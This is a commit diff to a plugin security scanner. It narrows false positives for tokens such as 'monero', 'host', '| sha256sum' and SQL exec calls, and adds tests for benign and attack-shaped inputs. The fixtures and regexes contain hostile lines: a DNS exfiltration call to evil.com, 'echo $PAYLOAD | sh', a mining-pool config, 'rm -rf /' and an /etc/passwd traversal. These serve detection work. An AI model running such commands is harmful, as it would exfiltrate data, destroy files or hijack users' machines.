Skip to content

The agent that grows with you

fix(plugin-guard): false-positive round 3 from the 2026-10-01 catalog sweep

teknium12be78cbcf7c3
diff --git a/tests/tools/test_plugin_guard.py b/tests/tools/test_plugin_guard.py
index 6ecec4f7625..7b08b9c8a49 100644
--- a/tests/tools/test_plugin_guard.py
+++ b/tests/tools/test_plugin_guard.py
@@ -814,3 +814,55 @@ class TestIntakeFalsePositiveRound2:
result = scan_plugin(_mk_plugin(tmp_path, files), source="owner/repo")
sev = {f.file: f.severity for f in result.findings if f.pattern_id == "hex_encoded_string"}
assert sev == {"desktop/plugin.js": "medium", "mix.py": "medium", "tests/test_audio.py": "medium"}
+
+
+
+class TestIntakeFalsePositiveRound3:
+ """Shapes from the 2026-10-01 catalog sweep that scored on clean pins: ``monero`` as a keyword
+ in a connector index, ``host`` as an English noun / HTTP header beside an interpolation,
+ ``| sha256sum`` read as ``| sh``, ``sudo`` inside a translation table, ``db.exec('PRAGMA …')``,
+ ``$(…)``/backticks INSIDE a Python test literal read as an exec marker, and a docs reinstall
+ step removing the plugin's own ``~/.hermes/plugins/<name>``. The same tokens in their attack
+ shape keep their severity."""
+
+ @pytest.mark.parametrize("rel,text,pattern_id,severity", [
+ ("tools/skill_shortlist.json", '{\n"anchors":"adopt chat crypto monero multimodal xmr"\n}\n', "crypto_mining", "medium"),
+ ("routing.py", 'KEYWORDS = (\n "monero gateway",\n)\n', "crypto_mining", "medium"),
+ ("plugin.js", "const m = ` written on the connected host (${connectionId}) but read here.`\n", "dns_exfil", None),
+ ("src/host-bridge.js", "if (!resp.ok) return { error: `host ${resp.status}: ${text}` }\n", "dns_exfil", None),
+ ("nginx.conf", " proxy_set_header Host $host;\n", "dns_exfil", None),
+ ("verify.sh", 'echo "bc2b8902 .staging/rtk.tar.gz" | sha256sum -c -\n', "echo_pipe_exec", None),
+ ("tips_zh.json", '{\n "en": "Bare sudo commands are auto-rewritten.",\n "tips": [\n "单独的 sudo 命令会自动改写",\n ]\n}\n', "sudo_usage", "medium"),
+ ("monitor.js", "db.exec('PRAGMA busy_timeout=2000');\ntry { db?.exec('ROLLBACK'); } catch {}\n", "exec_string", None),
+ ("tests/test_security.py", "HOSTILE = {\"meta\": '; rm -rf / ; $(whoami) `id` | cat'}\n", "destructive_root_rm", "medium"),
+ ("tests/test_security.py", 'IDS = ("$(id)", "`id`", "../../../etc/passwd")\n', "system_passwd_access", "medium"),
+ ("docs/dashboard-plugin.md", "```bash\nrm -rf ~/.hermes/plugins/tool-slimmer\ncp -R x ~/.hermes/plugins/tool-slimmer\n```\n", "destructive_home_rm", "medium"),
+ ])
+ def test_inert_shape_no_longer_prompts(self, tmp_path, rel, text, pattern_id, severity):
+ files = dict(BASE_FILES)
+ files[rel] = text
+ result = scan_plugin(_mk_plugin(tmp_path, files), source="owner/repo")
+ sevs = {f.severity for f in result.findings if f.pattern_id == pattern_id}
+ assert sevs == ({severity} if severity else set()), format_scan_report(result)
+ assert result.verdict == "safe"
+
+ @pytest.mark.parametrize("rel,text,pattern_id,severity", [
+ ("run.sh", "host $(whoami).evil.com\n", "dns_exfil", "critical"),
+ ("run.sh", "for c in $CHUNKS; do host $c; done\n", "dns_exfil", "critical"),
+ ("run.sh", "echo $PAYLOAD | sh\n", "echo_pipe_exec", "critical"),
+ ("miner.py", 'CFG = {"coin": "monero", "pool": "gulf.moneroocean.stream:10128"}\n', "crypto_mining", "critical"),
+ ("cfg.json", '{\n "note": "randomx monero miner"\n}\n', "crypto_mining", "critical"),
+ ("x.py", 'exec("import os")\n', "exec_string", "high"),
+ ("tips.json", '{\n "tip": "sudo rm -rf /opt/x"\n}\n', "sudo_usage", "high"),
+ ("hooks.json", '{\n "command": "please run sudo id"\n}\n', "sudo_usage", "high"),
+ ("mcp.json", '{\n "args": [\n "sudo",\n "id"\n ]\n}\n', "sudo_usage", "high"),
+ ("tests/test_x.py", "os.system('rm -rf / ; $(whoami)')\n", "destructive_root_rm", "high"),
+ ("docs/x.md", "rm -rf ~/.hermes\n", "destructive_home_rm", "high"),
+ ("uninstall.sh", "rm -rf ~/.hermes/plugins/test-plugin\n", "destructive_home_rm", "critical"),
+ ])
+ def test_attack_shape_keeps_severity(self, tmp_path, rel, text, pattern_id, severity):
+ files = dict(BASE_FILES)
+ files[rel] = text
+ result = scan_plugin(_mk_plugin(tmp_path, files), source="owner/repo")
+ sevs = {f.severity for f in result.findings if f.pattern_id == pattern_id}
+ assert sevs == {severity}, format_scan_report(result)
diff --git a/tools/plugin_guard.py b/tools/plugin_guard.py
index bcb96c80107..e33ac9c73e6 100644
--- a/tools/plugin_guard.py
+++ b/tools/plugin_guard.py
@@ -16,10 +16,10 @@ from pathlib import Path
from typing import Iterator, List, Optional, Tuple
from tools.plugin_guard_context import (
- STEP_DOWN, catalog_cap, is_agent_facing, is_base64_media, is_ci_workflow, is_data_decode, is_doc_prose,
- is_hex_in_char_class, is_inert_fixture_line, is_locale_catalog, is_loopback_continuation,
- is_loopback_only, is_pip_install_in_prose_literal, is_regex_alternation_token, is_self_uninstall_doc,
- is_test_tree, logical_line, prose_cap)
+ STEP_DOWN, catalog_cap, is_agent_facing, is_base64_media, is_ci_workflow, is_coin_name_only, is_data_decode,
+ is_doc_prose, is_hex_in_char_class, is_inert_fixture_line, is_json_prose_value, is_locale_catalog,
+ is_loopback_continuation, is_loopback_only, is_pip_install_in_prose_literal, is_regex_alternation_token,
+ is_self_uninstall_doc, is_test_tree, logical_line, prose_cap)
from tools.skills_guard import (
Finding, ScanResult, SUSPICIOUS_BINARY_EXTENSIONS, _determine_verdict, format_scan_report,
scan_file)
@@ -227,10 +227,12 @@ def _context_severity(f: Finding, rel_path: str, line: str, joined: str, doc_pro
sev = (catalog_cap(f) if locale_catalog else prose_cap(f)) or sev
if is_self_uninstall_doc(f, line):
sev = _at_most(sev, "medium")
+ elif is_json_prose_value(f, rel_path, line):
+ sev = prose_cap(f) or sev # `"en": "Bare sudo commands are …"` in a tips/translation table
if is_test_tree(rel_path):
# A key-shaped literal or quoted-only hostile string in a fixture is the corpus the
# plugin's own tests reject (#89610): a note. Executable test code steps down once.
- inert = f.category == "credential_exposure" or is_inert_fixture_line(f, line, is_code)
+ inert = f.category == "credential_exposure" or is_inert_fixture_line(f, line, is_code, rel_path)
sev = _at_most(sev, "medium") if inert else STEP_DOWN.get(sev, sev)
if f.pattern_id == "encoded_exfil" and is_base64_media(line):
sev = "low"
@@ -244,6 +246,8 @@ def _context_severity(f: Finding, rel_path: str, line: str, joined: str, doc_pro
sev = "low" # `curl -H "Bearer $KEY" \` + `http://localhost:8080/health`: local health check
if is_hex_in_char_class(f, line):
sev = "low" # `[\x00-\x1F\x7F]`: a control-char filter, not an assembled payload
+ if is_coin_name_only(f, line):
+ sev = _at_most(sev, "medium") # "monero gateway" in a connector index, no miner on the line
if is_code and is_pip_install_in_prose_literal(f, line):
sev = "low" # "no pip install is needed" in a user-facing message
return sev
diff --git a/tools/plugin_guard_context.py b/tools/plugin_guard_context.py
index d31de75cb95..36e3fb7ee60 100644
--- a/tools/plugin_guard_context.py
+++ b/tools/plugin_guard_context.py
@@ -109,14 +109,15 @@ def catalog_cap(finding: Finding) -> Optional[str]:
# A README "Uninstall" section removing the plugin's OWN install directory
-# (``rm -rf "$HOME/.hermes/plugins/<name>"``) is the one destructive shape that is harmless by
-# construction: one ``rm``, one argument rooted at ``$HOME/.hermes/plugins/`` or ``skills/``
+# (``rm -rf "$HOME/.hermes/plugins/<name>"``, ``rm -rf ~/.hermes/plugins/<name>`` before a reinstall
+# ``cp``) is the one destructive shape that is harmless by construction: one ``rm``, one argument
+# rooted at ``$HOME``/``${HOME}``/``~`` + ``/.hermes/plugins/`` or ``skills/``
# with a plain leaf — no glob, no ``..``, nothing chained. It lands at medium (a note). Any
# wider target (``$HOME``, ``$HOME/.hermes``, ``$HOME/.hermes/plugins/*``) only gets the
# generic prose step (high, caution) and the same line in a ``.sh`` stays critical (#115353).
_SELF_UNINSTALL_RM = re.compile(
r'^(?:\$\s*)?rm\s+(?:-[a-zA-Z]+\s+)*'
- r'(?P<q>["\']?)\$HOME/\.hermes/(?:plugins|skills)/[A-Za-z0-9][A-Za-z0-9._-]*/?(?P=q)'
+ r'(?P<q>["\']?)(?:\$HOME|\$\{HOME\}|~)/\.hermes/(?:plugins|skills)/[A-Za-z0-9][A-Za-z0-9._-]*/?(?P=q)'
r'\s*(?:#.*)?$'
)
@@ -148,11 +149,24 @@ _EXEC_ON_LINE = re.compile(
r"|spawnSync|child_process|source|os\.startfile|open)\s*\(|\$\(|(?<![\w\\])`", re.IGNORECASE)
-def is_inert_fixture_line(finding: Finding, line: str, is_code: bool) -> bool:
+# In Python/JS/TS a quote never runs a command, so ``$(whoami)`` or a backtick INSIDE a string
+# literal (``'; rm -rf / ; $(whoami) `id`'`` in a hostile-input table) is data, not an exec marker;
+# the call that would run it (``os.system(``, ``exec(``) sits outside the literal and still counts.
+# Shell-like files keep the raw line: there ``"$(id)"`` executes inside double quotes.
+_QUOTES_NEVER_EXECUTE_SUFFIXES = {".py", ".pyi", ".js", ".mjs", ".cjs", ".jsx", ".ts", ".mts", ".cts", ".tsx"}
+
+
+def _executes(line: str, rel_path: str) -> bool:
+ if Path(rel_path).suffix.lower() in _QUOTES_NEVER_EXECUTE_SUFFIXES:
+ line = _LITERAL_SPANS.sub(lambda m: m.group(0)[0] + " " * (len(m.group(0)) - 2) + m.group(0)[-1], line)
+ return _EXEC_ON_LINE.search(line) is not None
+
+
+def is_inert_fixture_line(finding: Finding, line: str, is_code: bool, rel_path: str = "") -> bool:
"""The finding's text is quoted test data on a line that does not execute anything."""
if not is_code:
return True
- if _EXEC_ON_LINE.search(line):
+ if _executes(line, rel_path):
return False
rx = _PATTERN_BY_ID.get(finding.pattern_id)
hits = list(rx.finditer(line)) if rx else []
@@ -370,10 +384,76 @@ def is_loopback_continuation(finding: Finding, line: str, joined: str) -> bool:
return rx is not None and rx.search(joined) is None and bool(hosts) and all(h in _LOOPBACK_HOSTS for h in hosts)
+# ── (11) prose string values in a JSON data file ────────────────────────────────────────────
+# A translation table or tips file (``tips_zh.json``: ``"en": "Bare sudo commands are
+# auto-rewritten …"`` and a ``"tips": [ … ]`` list of sentences) is read with ``json.load`` and
+# shown to a human. On a ``"key": "value"`` line whose key is a sentence or a plain data name, or a
+# bare string list element, a token in the MIDDLE of the string is prose
+# and takes the README prose cap for a ``high`` finding (one step down; agent-facing shapes keep
+# full severity, and a ``critical`` stays critical — data a plugin's code may still hand to a
+# shell can lose a confirm prompt here, never a block). A string
+# that starts with the command (``"cleanup": "rm -rf /"``) or names it after a shell separator or
+# ``sudo``/``exec`` (``"sudo",`` in an ``args`` array), keys that name something executed
+# (``"command"``, ``"postinstall"``, ``"run"``, ``"args"`` …) and ``package.json`` (npm runs its
+# ``scripts``) keep the severity.
+_JSON_STRING_LINE = re.compile(r'^\s*(?:"(?P<k>(?:[^"\\]|\\.)*)"\s*:\s*)?"(?P<v>(?:[^"\\]|\\.)*)"\s*,?\s*$')
+_JSON_COMMAND_KEY = re.compile(r"cmd|command|script|exec|run|shell|install|hook|arg|entry|bin|start|setup", re.IGNORECASE)
+_JSON_EXECUTED_FILES = {"package.json"}
+_COMMAND_POSITION = re.compile(r"(?:^|[;&|`(]|\$\(|\b(?:sudo|exec|eval|do|then|xargs|bash|sh|-c))\s*$", re.IGNORECASE)
+
+
+def is_json_prose_value(finding: Finding, rel_path: str, line: str) -> bool:
+ """Every hit sits mid-sentence inside the key or value of a ``"key": "string"`` pair (or a bare
+ string list element) in a ``.json`` data file, under a key that does not name something executed."""
+ p = Path(rel_path)
+ if finding.severity != "high" or p.suffix.lower() != ".json" or p.name.lower() in _JSON_EXECUTED_FILES:
+ return False
+ m = _JSON_STRING_LINE.match(line)
+ rx = _PATTERN_BY_ID.get(finding.pattern_id)
+ if m is None or rx is None:
+ return False
+ key = m.group("k")
+ if key is not None and not re.search(r"\s", key) and _JSON_COMMAND_KEY.search(key):
+ return False
+
+ def prose(h: "re.Match[str]") -> bool:
+ part = next((g for g in ("k", "v") if m.start(g) <= h.start() and h.end() <= m.end(g)), None)
+ return part is not None and _COMMAND_POSITION.search(line[m.start(part):h.start()]) is None
+
+ hits = list(rx.finditer(line))
+ return bool(hits) and all(prose(h) for h in hits)
+
+
+# ── (12) a coin NAME without any mining machinery ───────────────────────────────────────────
+# ``crypto_mining`` keys on miner software and pool protocols (``xmrig``, ``stratum+tcp``,
+# ``coinhive``, ``cryptonight``) plus the bare coin name ``monero``. The name alone is a keyword
+# in a connector catalog or search index (``"monero gateway"``, ``… monero multimodal …``), not a
+# miner: with no miner binary, pool, algorithm or mining verb on the line it lands at medium
+# (reported, verdict-neutral). Any of those beside it keeps the pattern's severity.
+_MINING_MACHINERY = re.compile(
+ r"xmrig|stratum|coinhive|cryptonight|randomx|cpuminer|minerd|nicehash|hashrate|donate-level"
+ r"|\bmin(?:e[sd]?|ers?|ing)\b|--(?:coin|algo)\b", re.IGNORECASE)
+
+
+def _is_standalone_coin_name(line: str, start: int, end: int) -> bool:
+ return (line[start:end].lower() == "monero" and (start == 0 or not line[start - 1].isalnum())
+ and (end == len(line) or not line[end].isalnum()))
+
+
+def is_coin_name_only(finding: Finding, line: str) -> bool:
+ """Every ``crypto_mining`` hit on the line is the standalone word ``monero`` and nothing on
+ the line names mining software, a pool or the act of mining."""
+ if finding.pattern_id != "crypto_mining" or _MINING_MACHINERY.search(line):
+ return False
+ rx = _PATTERN_BY_ID.get(finding.pattern_id)
+ hits = list(rx.finditer(line)) if rx else []
+ return bool(hits) and all(_is_standalone_coin_name(line, h.start(), h.end()) for h in hits)
+
+
__all__ = [
"STEP_DOWN", "DOC_PROSE_EXTENSIONS", "TEST_TREE_DIRS", "LITERAL_INERT_PATTERN_IDS",
"is_doc_prose", "is_ci_workflow", "is_agent_facing", "prose_cap", "is_self_uninstall_doc", "is_test_tree",
"is_inert_fixture_line", "is_base64_media",
"is_regex_alternation_token", "is_data_decode", "is_loopback_only", "is_pip_install_in_prose_literal",
- "is_hex_in_char_class", "logical_line", "is_loopback_continuation",
+ "is_hex_in_char_class", "logical_line", "is_loopback_continuation", "is_json_prose_value", "is_coin_name_only",
]
diff --git a/tools/skills_guard.py b/tools/skills_guard.py
index 352ba8d2163..90ae1a7da71 100644
--- a/tools/skills_guard.py
+++ b/tools/skills_guard.py
@@ -18,7 +18,7 @@ from pathlib import Path
from typing import List, Tuple
-SCANNER_VERSION = "skills-guard-v7"
+SCANNER_VERSION = "skills-guard-v8"
# NVIDIA-verified skills each ship a signed `skill.oms.sig` + governance `skill-card.md`.
TRUSTED_REPOS = {"openai/skills", "anthropics/skills", "huggingface/skills", "NVIDIA/skills"}
@@ -121,7 +121,8 @@ _NOT_DELEGATE = (
# POSIX shell names as one shared alternation, so every pipe-to-shell pattern below flags the
# same set (the narrower `(ba)?sh` let `curl url | zsh` through while bash/sh were caught).
-_SHELL_NAMES_RE = r'(?:bash|sh|zsh|ksh|dash)'
+# Word-bounded: `| sha256sum -c` / `| shasum` / `| dashboard` are not `| sh` / `| dash`.
+_SHELL_NAMES_RE = r'(?:bash|sh|zsh|ksh|dash)\b'
# Known credential-file paths as one shared alternation for the JavaScript and Python
# read-secrets patterns (a private key, .env, credentials, .netrc, .pgpass, .npmrc, .pypirc;
@@ -195,7 +196,14 @@ THREAT_PATTERNS = [
# optional -flags with values, +opts, @server) carries the interpolation. Anything
# looser fires on the English noun in prose ("set the host value and run
# `${SKILL_DIR}/x`") and on flag names such as llama.cpp `--host 127.0.0.1 --port $PORT`.
- (r'(?<![-/])\b(dig|nslookup|host)\s+(?:[-+@]\S*(?:\s+[^\s$"\'-][^\s$]*)?\s+)*["\']?[^\s"\'$]*\$',
+ # `host` is also an English noun and an HTTP header, so it needs the exfil shape itself —
+ # an interpolation INSIDE a domain name (`host $(whoami).evil.com`, `host ${D}.x.io`) — or a
+ # shell command position (`; host $NAME`, `do host $c`); "the connected host (${id})", a JS
+ # `host ${resp.status}: …` message and nginx `Host $host;` are none of those.
+ (r'(?<![-/])\b(?:dig|nslookup)\s+(?:[-+@]\S*(?:\s+[^\s$"\'-][^\s$]*)?\s+)*["\']?[^\s"\'$]*\$'
+ r'|(?<![-/])\bhost\s+(?:[-+@]\S*(?:\s+[^\s$"\'-][^\s$]*)?\s+)*["\']?[^\s"\'$()]*'
+ r'\$(?:\{[^}\s]*\}|\([^\n]*?\)+|\w+)[\w-]*\.[a-z]'
+ r'|(?:^|[;&|]|\$\(|\b(?:do|then|else)\b)\s*host\s+(?:[-+@]\S*(?:\s+[^\s$"\'-][^\s$]*)?\s+)*["\']?\$',
"dns_exfil", "critical", "exfiltration", "DNS lookup with variable interpolation (possible DNS exfiltration)"),
(r'>\s*/tmp/[^\s]*\s*&&\s*(curl|wget|nc|python)', # no-tmp: ok — malicious-pattern regex
"tmp_staging", "critical", "exfiltration", "writes to /tmp then exfiltrates"), # no-tmp: ok — malicious-pattern label
@@ -290,7 +298,11 @@ THREAT_PATTERNS = [
(r'\\x[0-9a-fA-F]{2}.*\\x[0-9a-fA-F]{2}.*\\x[0-9a-fA-F]{2}',
"hex_encoded_string", "medium", "obfuscation", "hex-encoded string (possible obfuscation)"),
(r'\beval\s*\(\s*["\']', "eval_string", "high", "obfuscation", "eval() with string argument"),
- (r'\bexec\s*\(\s*["\']', "exec_string", "high", "obfuscation", "exec() with string argument"),
+ # An upper-case SQL statement is a database call (`db.exec('PRAGMA busy_timeout=2000')`,
+ # node:sqlite / better-sqlite3), never code or a shell command line.
+ (r'\bexec\s*\(\s*["\'](?!(?-i:PRAGMA|BEGIN|COMMIT|ROLLBACK|CREATE|INSERT|SELECT|UPDATE|DELETE|DROP|ALTER'
+ r'|VACUUM|SAVEPOINT|RELEASE|ANALYZE|REINDEX|ATTACH|DETACH|REPLACE)\b)',
+ "exec_string", "high", "obfuscation", "exec() with string argument"),
(rf'echo\s+[^\n]*\|\s*(?:{_SHELL_NAMES_RE}|python|perl|ruby|node)',
"echo_pipe_exec", "critical", "obfuscation", "echo piped to interpreter for execution"),
(r'compile\s*\(\s*[^\)]+,\s*["\'].*["\']\s*,\s*["\']exec["\']\s*\)',